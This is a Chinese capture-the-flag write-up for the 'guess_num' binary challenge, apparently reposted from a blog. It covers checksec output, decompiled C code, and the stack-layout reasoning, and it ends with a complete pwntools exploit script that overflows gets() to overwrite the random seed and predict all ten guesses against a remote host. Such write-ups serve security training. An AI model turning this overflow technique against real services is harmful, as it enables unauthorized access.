标签:__ 攻防 guess libc rsp rbp num linux seed
checksec guess_num
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
- 用IDA64打开,找到main函数,F5反编译,可以分析得出其基本逻辑为:首先从输入gets一个姓名,然后用种子初始化随机数发生器,对生成的随机数进行处理,然后输入一个整数,将随机数处理后的值与输入数值进行比较,如果10轮比较都相同则成功,随即调用
sub_C3E()
。该函数会cat flag。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+4h] [rbp-3Ch]
int i; // [rsp+8h] [rbp-38h]
int v6; // [rsp+Ch] [rbp-34h]
char v7; // [rsp+10h] [rbp-30h]
unsigned int seed[2]; // [rsp+30h] [rbp-10h]
unsigned __int64 v9; // [rsp+38h] [rbp-8h]
v9 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
v4 = 0;
v6 = 0;
*(_QWORD *)seed = sub_BB0();
puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:", 0LL);
gets(&v7);
srand(seed[0]);
for ( i = 0; i <= 9; ++i )
{
v6 = rand() % 6 + 1;
printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
printf("Please input your guess number:");
__isoc99_scanf("%d", &v4);
puts("---------------------------------");
if ( v4 != v6 )
{
puts("GG!");
exit(1);
}
puts("Success!");
}
sub_C3E();
return 0LL;
}
__int64 sub_C3E()
{
printf("You are a prophet!\nHere is your flag!");
system("cat flag");
return 0LL;
}
- 查看v7所在栈,发现v7的范围
因此,只要栈溢出,将我们指定的值覆盖到seed的部分,然后借助ctypes调用Linux中C标准动态库libc.so.6,就可以按我们从IDA中直观看到的反编译后的代码的相同结构,编写随机数发生器的初始化和产生随机数的过程。
4. 通过ldd guess_num
查看标准库
linux-vdso.so.1 (0x00007ffef535e000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd902bba000)
/lib64/ld-linux-x86-64.so.2 (0x00007fd9031ad000)
- 所以参考Python使用Ctypes与C/C++ DLL文件通信过程介绍及实例分析导入对应的C标准动态库即可。
from ctypes import *
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
- 具体求解过程如下:
from pwn import *
from ctypes import *
io = remote('220.249.52.133', 51872)
# 导入对应C标准动态库
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
# gets到的v7需要先填满0x30到0x11之间,也即0x20字节,然后才会覆盖seed的部分,因此先放0x20个a再往seed放入1
payload = "a" * 0x20 + p64(1)
io.sendline(payload)
# 用我们存入的seed值对随机数发生器进行初始化,操作方法同IDA反编译后的main函数
libc.srand(1)
for i in range(10):
num = str(libc.rand()%6+1)
io.sendline(num)
io.interactive()
cyberpeace{d9e0977d57a2adfe549d65519a84e9cb}
参考:wzsec's wp
标签:__,攻防,guess,libc,rsp,rbp,num,linux,seed 来源: https://www.cnblogs.com/vict0r/p/13772213.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。